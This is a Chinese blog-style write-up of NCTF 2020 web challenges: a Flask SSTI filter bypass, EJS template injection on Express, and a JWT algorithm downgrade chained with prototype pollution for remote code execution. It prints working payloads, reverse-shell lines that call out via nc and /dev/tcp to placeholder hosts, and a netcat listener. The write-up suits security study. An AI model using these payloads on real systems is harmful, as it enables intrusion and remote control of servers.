引言
一年一度的 NCTF 又来了。
刚刚过去的这周末比赛有点多,以至于打起来有点佛系。
南邮的师傅们出题很不错,嗯,值得被锤。
期待了半天发现没有真正的 Misc 题,有亿点点难受,没办法只能硬肝 Web 题了,太难顶了。
这里就写一下我做的几道题的 WriteUp 好了。 (顺便吐槽一下
Web
你就是我的master吗
来签个到叭~
Flask SSTI.
用 \x5f
来替代 _
,过滤掉的关键词用 ""
双引号拼接就好了。
Payload:
看看当前目录有啥。
http://42.192.72.11:10001/
?name={{""["\x5f\x5fcla""ss\x5f\x5f"]["\x5f\x5fba""se\x5f\x5f"]["\x5f\x5fsubcla""sses\x5f\x5f"]()[408]["\x5f\x5fin""it\x5f\x5f"]["\x5f\x5fglo""bals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]()}}
早安,打工人<br/>你就是我的app.py
wo_ta_niang_de_bu_shi_ni_de_fla9
吗?<br/><!-- ?name=master -->
读 flag:
http://42.192.72.11:10001/
?name={{""["\x5f\x5fcla""ss\x5f\x5f"]["\x5f\x5fba""se\x5f\x5f"]["\x5f\x5fsubcla""sses\x5f\x5f"]()[408]["\x5f\x5fin""it\x5f\x5f"]["\x5f\x5fglo""bals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("cat *")["read"]()}}
源码:
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
blacklist = ['%','-',':','+','class','base','mro','_','config','args','init','global','.','\'','req','|','attr','get']
for i in blacklist:
if i in name:
return Template('你真是个小可爱').render()
t = Template("早安,打工人<br/>你就是我的" + name + "吗?<br/><!-- ?name=master -->")
return t.render()
if __name__ == "__main__":
app.run()
NCTF{ni_t@_niang_dee_jiu_shi_woo_de_master_ma}
这真的是签到题么?
(噢对了,出题人说这还是非预期,emmm
官方 payload 如下,噢是这个意思的 全十六进制 唉。确实差不多。
?name={{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[64]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]("\x6f\x73")["\x70\x6f\x70\x65\x6e"]("ls")["\x72\x65\x61\x64"]()}}
JS-world
JavaScript can quickly turn our everyday job into hell, and some of them can make us laugh out loud. Have fun.
hint1: script.js has sth useful.
首先看了一下后端是 Express,用了 EJS 模板引擎 来渲染页面。
调试分析了一下逻辑,JS 逆向有一点点麻烦。
本来还解混淆了一下,不过后来发现貌似没必要了,也并不需要逆向了。
重点在 /js/script.js
文件里对输入的 code 一些关键字进行过滤以及加密。
关键源码:
function create() {
var _0x1bef85 = _0x1656
, _0x23132f = document[_0x1bef85('0x9')]('MyCode')[_0x1bef85('0xe')];
_0x23132f = _0x23132f[_0x1bef85('0x5')](/[\/\*\'\"\`\<\\\>\-\(\)\[\]\=\%\.]/g, '');
var _0x1658d5 = _0x1bef85('0x8') + _0x23132f + _0x1bef85('0x2');
_0x1658d5 = btoa(xor(_0x1bef85('0xc'), _0x1658d5));
var _0x23601e = new XMLHttpRequest();
_0x23601e['open'](_0x1bef85('0x13'), _0x1bef85('0x7'), !![]),
_0x23601e['setRequestHeader'](_0x1bef85('0x11'), _0x1bef85('0xd'));
var _0x3deb5a = _0x1bef85('0x4') + escape(_0x1658d5);
return _0x23601e[_0x1bef85('0xa')](_0x3deb5a),
alert('Done.\x0aCheck\x20/templates\x20now.'),
'';
}
其中,document[_0x1bef85('0x9')]('MyCode')[_0x1bef85('0xe')]
就是通过 getElementById
获得输入的数据。
_0x23132f[_0x1bef85('0x5')]
函数为 replace
,可见把这些符号给过滤掉了。
之后这段是进行加密。
var _0x1658d5 = _0x1bef85('0x8') + _0x23132f + _0x1bef85('0x2');
_0x1658d5 = btoa(xor(_0x1bef85('0xc'), _0x1658d5));
最后调用 XMLHttpRequest
把数据发给后端。
在 /templates
目录就能看到生成的页面了。
因此做题的话,直接把过滤的这条语句删了就好了。
这里为了方便直接传参了。
把这段放到浏览器 Console 里执行,覆盖掉原来的函数,再传参进去执行就完事。
function create(xx) {
var _0x1bef85 = _0x1656
, _0x23132f = xx;
var _0x1658d5 = _0x1bef85('0x8') + _0x23132f + _0x1bef85('0x2');
_0x1658d5 = btoa(xor(_0x1bef85('0xc'), _0x1658d5));
var _0x23601e = new XMLHttpRequest();
_0x23601e['open'](_0x1bef85('0x13'), _0x1bef85('0x7'), !![]),
_0x23601e['setRequestHeader'](_0x1bef85('0x11'), _0x1bef85('0xd'));
var _0x3deb5a = _0x1bef85('0x4') + escape(_0x1658d5);
return _0x23601e[_0x1bef85('0xa')](_0x3deb5a),
alert('Done.\x0aCheck\x20/templates\x20now.'),
'';
}
考虑到是 ejs 模板引擎,应该就是 ejs 注入了。
查了一下,参考 Y1ng 师傅的脚本。
<%- global.process.mainModule.require('child_process').execSync('cat app.js') %>
这样可以读取源码。
const express = require('express');
const app = express();
const bodyParser = require('body-parser');
const cookieParser = require("cookie-parser");
const path = require("path");
const session = require("express-session");
const FileStore = require('session-file-store')(session);
const fs = require('fs');
app.set('views', __dirname + '/views');
app.set('view engine', 'ejs');
app.engine('html', require('ejs').renderFile);
app.use(express.static('public'));
app.use(session({
name: 'session',
secret: 'T0pSsssecRet233#@###',
store: new FileStore({path: path.join(__dirname, "sessions")}),
resave: false,
saveUninitialized: false
}));
app.use(bodyParser.urlencoded({ extended: false }));
app.use(cookieParser());
const KEY= process.env.KEY || "r5NmfIzU1uzl6Wp";
const xor = (secretkey,value) => {
return Array.prototype.slice.call(value).map( function(chr,index){
return String.fromCharCode(secretkey[index % secretkey.length].charCodeAt(0) ^ chr.charCodeAt(0))
}).join('');
}
app.get('/' ,(req,res) => {
let session=req.session;
if(session.AccessGranted === undefined){
session.AccessGranted=true;
}
return res.render('index.html');
})
app.get('/templates', (req,res) => {
const session = req.session;
if(session.AccessGranted !== "undefined" && session.AccessGranted === true){
try{
let template_path = path.join("templates/", session.id, 'index.html');
return res.render(template_path);
}catch(err){
throw err;
}
}else{
return res.send('Not Accessible Now.');
}
});
app.post('/create', (req,res) => {
const session = req.session;
if(session.AccessGranted !== "undefined" && session.AccessGranted === true){
try{
const id = session.id;
const raw = Buffer.from(req.body.code, 'base64').toString();
const contents = xor(KEY,raw);
let template_path = path.join(__dirname , "/views/templates/", id, 'index.html');
if (!fs.existsSync(path.join(__dirname , "/views/templates/", id))) {
fs.mkdirSync(path.join(__dirname , "/views/templates/", id));
}
fs.writeFileSync(template_path, contents);
return res.send('done');
}catch(err){
throw err;
}
}else{
return res.send('Not Accessible Now.');
}
});
app.all('*', (req, res) => {
return res.status(404).send('404 page not found');
});
app.listen(8088, () => console.log('Listening on port 8088'));
而后找 flag 就好了。
var payload = "<%- global.process.mainModule.require('child_process').execSync('ls -alh') %>"
total 92K
drwxr-xr-x 1 root root 4.0K Nov 17 11:29 .
drwxr-xr-x 1 root root 4.0K Nov 21 00:55 ..
-rw-r--r-- 1 root root 2.6K Nov 17 11:10 app.js
drwxr-xr-x 95 root root 4.0K Nov 17 11:29 node_modules
-rw-r--r-- 1 root root 24.9K Nov 17 11:29 package-lock.json
-rw-r--r-- 1 root root 447 Nov 17 11:10 package.json
drwxr-xr-x 6 root root 4.0K Nov 17 11:10 public
drwxr-xr-x 1 nobody nobody 24.0K Nov 21 18:02 sessions
drwxr-xr-x 1 root root 4.0K Nov 17 11:10 views
var payload = "<%- global.process.mainModule.require('child_process').execSync('ls / -alh') %>"
drwxr-xr-x 1 root root 4.0K Nov 21 00:55 .
drwxr-xr-x 1 root root 4.0K Nov 21 00:55 ..
-rwxr-xr-x 1 root root 0 Nov 21 00:55 .dockerenv
drwxr-xr-x 1 root root 4.0K Nov 17 11:29 app
drwxr-xr-x 1 root root 4.0K Nov 16 23:22 bin
drwxr-xr-x 5 root root 340 Nov 21 06:12 dev
drwxr-xr-x 1 root root 4.0K Nov 21 00:55 etc
-rw-r--r-- 1 node node 32 Nov 18 01:51 flag.txt
drwxr-xr-x 1 root root 4.0K Nov 16 23:22 home
drwxr-xr-x 1 root root 4.0K Nov 16 23:22 lib
drwxr-xr-x 5 root root 4.0K Apr 23 2020 media
drwxr-xr-x 2 root root 4.0K Apr 23 2020 mnt
drwxr-xr-x 1 root root 4.0K Nov 16 23:22 opt
dr-xr-xr-x 357 root root 0 Nov 21 06:12 proc
drwx------ 1 root root 4.0K Nov 17 11:29 root
drwxr-xr-x 2 root root 4.0K Apr 23 2020 run
drwxr-xr-x 2 root root 4.0K Apr 23 2020 sbin
drwxr-xr-x 2 root root 4.0K Apr 23 2020 srv
dr-xr-xr-x 13 root root 0 Nov 21 06:12 sys
drwxrwxrwt 1 root root 4.0K Nov 16 23:22 tmp
drwxr-xr-x 1 root root 4.0K Nov 16 23:22 usr
drwxr-xr-x 1 root root 4.0K Apr 23 2020 var
最后读 flag。
var payload = "<%- global.process.mainModule.require('child_process').execSync('cat /flag.txt') %>"
NCTF{Welcome_to_The_js_W0rld:)}
BTW, CVE-2020-7699:NodeJS模块代码注入,express-fileupload npm组件。
D^3CTF 官方WriteUp —— ejs getshell
他的脚本如下。(好家伙,直接 getshell。
{"content": {"constructor": {"prototype": {"outputFunctionName": "a; return global.process.mainModule.constructor._load('child_process').execSync('bash -c "/bin/bash -i > /dev/tcp/ip/port 0<&1 2>&1"'); //"}}}}
PackageManager_v1.0
Admin uses this api server to manage his package . Definitely no way to RCE.
Please make sure you can exploit it locally fisrt.
all packages are up to date
source code: 链接:https://pan.baidu.com/s/19fm5JUvpjPEUVs528qRDSw 提取码:txai
审阅源码,在 router/index.js
里处理路由。
router.get('/', (req,res) => {
return res.render('index.html');
});
router.get('/api/package', async(req, res) => {
let token = req.cookies['auth'];
if( token == undefined ){
user={ username : "guest" };
token=await JWT.sign(user);
res.cookie('auth', token, { httpOnly: true })
}
return res.render('index.html',{ author : package.author , description : package.description });
});
router.post('/api/package',AuthMiddlerware,(req,res)=>{
let newpackage={};
newpackage=rep.replicate(newpackage,req.body);
return res.render('index.html',{ author : newpackage.author , description : newpackage.description });
});
//only for self debugging
router.get('/debug/:command', AuthMiddlerware,(req,res) =>{
let command= req.params.command;
if(command){
if (command == 'cwd') {
let proc = fork('./checkcwd.js', [], {
stdio: ['ignore', 'pipe', 'pipe', 'ipc']
});
proc.stderr.pipe(res);
proc.stdout.pipe(res);
return;
}
return res.send('Invalid command');
}
else{
return res.end('No command specified.');
}
});
发现 GET 请求 /api/package
这里用到了 JWT 鉴权,关键的部分如下。
module.exports = {
async sign(data) {
data = Object.assign(data, { pk : publicKey } );
return (await jwt.sign(data, privateKey, { algorithm:'RS256' }))
},
async decode(token) {
return (await jwt.verify(token, publicKey, { algorithms: ['RS256', 'HS256'] }));
}
}
可以看到把公钥包含到了 JWT 中,而且解密的时候能够用 HS256 算法,于是参考 Hackergame2020 普通的身份认证器 一题,将 RS256 降级为 HS256。 (引用自己之前的 WP,讲究
首先获取 cookie。
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwicGsiOiItLS0tLUJFR0lOIFBVQkxJQyBLRVktLS0tLVxuTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FEb0RHcEhrYW9LTGVKWEhIblFVRjF0K2FuWFxucWlyNzlZajN2ZkRGVE9wNnFobDZHc255dWNFZGlDSTF6M2xpZEoycGQxbWpUN2t3M2lzTlY2R2taV28yaS9VWVxuT1Zsa0lhV1dEd3RKTXVKdVNsRTR0M3p1WU0wRFlOVEZFelM1akYvUmwzY05MU0J0R2xlb2JtMXFFS0gvZUFnS1xub3NYZWZudEZ5UFlhdm4vdUlRSURBUUFCXG4tLS0tLUVORCBQVUJMSUMgS0VZLS0tLS1cbiIsImlhdCI6MTYwNjAzNzIxMn0.002iwHbUK25horYZdXwN2c9mxu9ak-258TcHRo2NbCjERbzSZCQea_wfgyuYQkAoE1uurJ0dLCJw4Ozi-iXN6KA92UpgHUX0voNLYtcQENNqMTwyKldUztu6AR9eqdhftLTOLDWuIylqjoPkQA7pFYJXx2yfh5UkEqWW6arFTZs
base64 解密,取头部 Header、载荷 Payload。
{"alg":"RS256","typ":"JWT"}.{"username":"guest","pk":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDoDGpHkaoKLeJXHHnQUF1t+anX\nqir79Yj3vfDFTOp6qhl6GsnyucEdiCI1z3lidJ2pd1mjT7kw3isNV6GkZWo2i/UY\nOVlkIaWWDwtJMuJuSlE4t3zuYM0DYNTFEzS5jF/Rl3cNLSBtGleobm1qEKH/eAgK\nosXefntFyPYavn/uIQIDAQAB\n-----END PUBLIC KEY-----\n","iat":1606037212}
修改加密算法,username
改为 admin
。
再 base64 加密,去除 =
,得到
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGsiOiItLS0tLUJFR0lOIFBVQkxJQyBLRVktLS0tLVxuTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FEb0RHcEhrYW9LTGVKWEhIblFVRjF0K2FuWFxucWlyNzlZajN2ZkRGVE9wNnFobDZHc255dWNFZGlDSTF6M2xpZEoycGQxbWpUN2t3M2lzTlY2R2taV28yaS9VWVxuT1Zsa0lhV1dEd3RKTXVKdVNsRTR0M3p1WU0wRFlOVEZFelM1akYvUmwzY05MU0J0R2xlb2JtMXFFS0gvZUFnS1xub3NYZWZudEZ5UFlhdm4vdUlRSURBUUFCXG4tLS0tLUVORCBQVUJMSUMgS0VZLS0tLS1cbiIsImlhdCI6MTYwNjAzNzIxMn0
结合公钥计算加密所用的签名(Signature)。
$ echo -n "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGsiOiItLS0tLUJFR0lOIFBVQkxJQyBLRVktLS0tLVxuTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FEb0RHcEhrYW9LTGVKWEhIblFVRjF0K2FuWFxucWlyNzlZajN2ZkRGVE9wNnFobDZHc255dWNFZGlDSTF6M2xpZEoycGQxbWpUN2t3M2lzTlY2R2taV28yaS9VWVxuT1Zsa0lhV1dEd3RKTXVKdVNsRTR0M3p1WU0wRFlOVEZFelM1akYvUmwzY05MU0J0R2xlb2JtMXFFS0gvZUFnS1xub3NYZWZudEZ5UFlhdm4vdUlRSURBUUFCXG4tLS0tLUVORCBQVUJMSUMgS0VZLS0tLS1cbiIsImlhdCI6MTYwNjAzNzIxMn0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d4947664d413047435371475349623344514542415155414134474e4144434269514b426751446f444770486b616f4b4c654a5848486e51554631742b616e580a7169723739596a3376664446544f703671686c3647736e7975634564694349317a336c69644a327064316d6a54376b773369734e5636476b5a576f32692f55590a4f566c6b496157574477744a4d754a75536c453474337a75594d3044594e5446457a53356a462f526c33634e4c534274476c656f626d3171454b482f6541674b0a6f735865666e744679505961766e2f7549514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a
(stdin)= 2eeceba7b1828a217aa00ca6795bcaa1ca2f2391e731362b1f5ac1084f11966d
转换为 JWT format。
$ python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('2eeceba7b1828a217aa00ca6795bcaa1ca2f2391e731362b1f5ac1084f11966d')).replace('=','')\")"
Luzrp7GCiiF6oAymeVvKocovI5HnMTYrH1rBCE8Rlm0
拼接得到 JWT.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGsiOiItLS0tLUJFR0lOIFBVQkxJQyBLRVktLS0tLVxuTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FEb0RHcEhrYW9LTGVKWEhIblFVRjF0K2FuWFxucWlyNzlZajN2ZkRGVE9wNnFobDZHc255dWNFZGlDSTF6M2xpZEoycGQxbWpUN2t3M2lzTlY2R2taV28yaS9VWVxuT1Zsa0lhV1dEd3RKTXVKdVNsRTR0M3p1WU0wRFlOVEZFelM1akYvUmwzY05MU0J0R2xlb2JtMXFFS0gvZUFnS1xub3NYZWZudEZ5UFlhdm4vdUlRSURBUUFCXG4tLS0tLUVORCBQVUJMSUMgS0VZLS0tLS1cbiIsImlhdCI6MTYwNjAzNzIxMn0.Luzrp7GCiiF6oAymeVvKocovI5HnMTYrH1rBCE8Rlm0
把 cookie 里的 auth
修改为如上,成功访问 /debug/cwd
,结合 checkcwd.js
提示当前目录为 /app
。
const cwd=process.cwd();
if(cwd == '/app'){
console.log('You are in the /app directory.');
}
else{
console.log('You are not in the /app directory.');
}
成功利用 POST 请求修改页面内容。
接下来考虑 污染原型链。
rep.replicate(a, b)
函数是将 b
中的每一项内容递归地赋值给 a
。
参考 NodeJS child_process 官方文档,以及 从Kibana-RCE对nodejs子进程创建的思考 一文,可以把 Object.env
给污染掉。
node版本>v8.0.0以后支持运行 node 时增加一个命令行参数
NODE_OPTIONS
,它能够包含一个js脚本,相当于include
。
而 Linux 中的环境变量也会存到文件中,具体在 /proc/self/environ
。
再把要执行的命令扔另一个env
环境变量里,当 fork 执行新进程时就会调用这个环境变量,从而实现 RCE。
Payload:
这里直接反弹 shell 了。
POST http://42.192.72.11:8092/api/package
{"author":"MiaoTony", "description":"meow", "__proto__":{"env":{"AAAA":"require(\"child_process\").exec('nc VPSIP PORT -e /bin/sh')//", "NODE_OPTIONS":"--require /proc/self/environ"}}}
或者
{"author":"MiaoTony", "description":"meow", "__proto__":{"env":{"AAAA":"require(\"child_process\").exec(\"bash -i >& /dev/tcp/VPSIP/PORT 0>&1\")//", "NODE_OPTIONS":"--require /proc/self/environ"}}}
在 VPS 上监听端口。
nc -lvvp PORT
而后访问 http://42.192.72.11:8092/debug/cwd 触发 fork
。
在根目录下拿到 flag。
NCTF{https://xz.aliyun.com/t/6755_f0rk_p1us_prot0type_p0llution_1quals_RCE...???}
(好巧啊,我们看到了同一篇文章 23333
顺便看了一眼 package.json
。
要不是权限问题就能把 package.json
给改了(大雾
定时重启还是挺文明的。
Misc
彩蛋
关注公众号 回复 flag 就拿到了。
NCTF{We1c0m3_t0_NCTF2020}
(吐槽一句,师傅们空间里转的校内横幅居然多了个 !
,就离谱。
NCTF2020问卷调查
NCTF{Let's_look_forward_to_X1CTF}
这就锤爆 fmyy!
小结
在耗子锅锅和秦师傅的带领下,拿到了总榜第六。
Team H4rdwo3k1ng
🐀哥哥说他太激动了多打了个 Team (然后还改不了 x
呜呜呜,差点就能拿 Xray 高级版 license 了(((还是太菜了啊
总而言之,这次 NCTF 2020 还是挺好玩的,题目质量不错。
就是没有真正的 Misc 题,硬肝 Web 题太难顶了。不过学到了不少倒是了嘿嘿。
下次有机会的话再来玩w~
噢对了,去线下一定锤爆 fmyy!
BTW, 官方 WriteUp 也出来了。
Web 题目环境 GitHub repo: baiyecha404 / My-NCTF2020-Challs
(溜了溜了喵~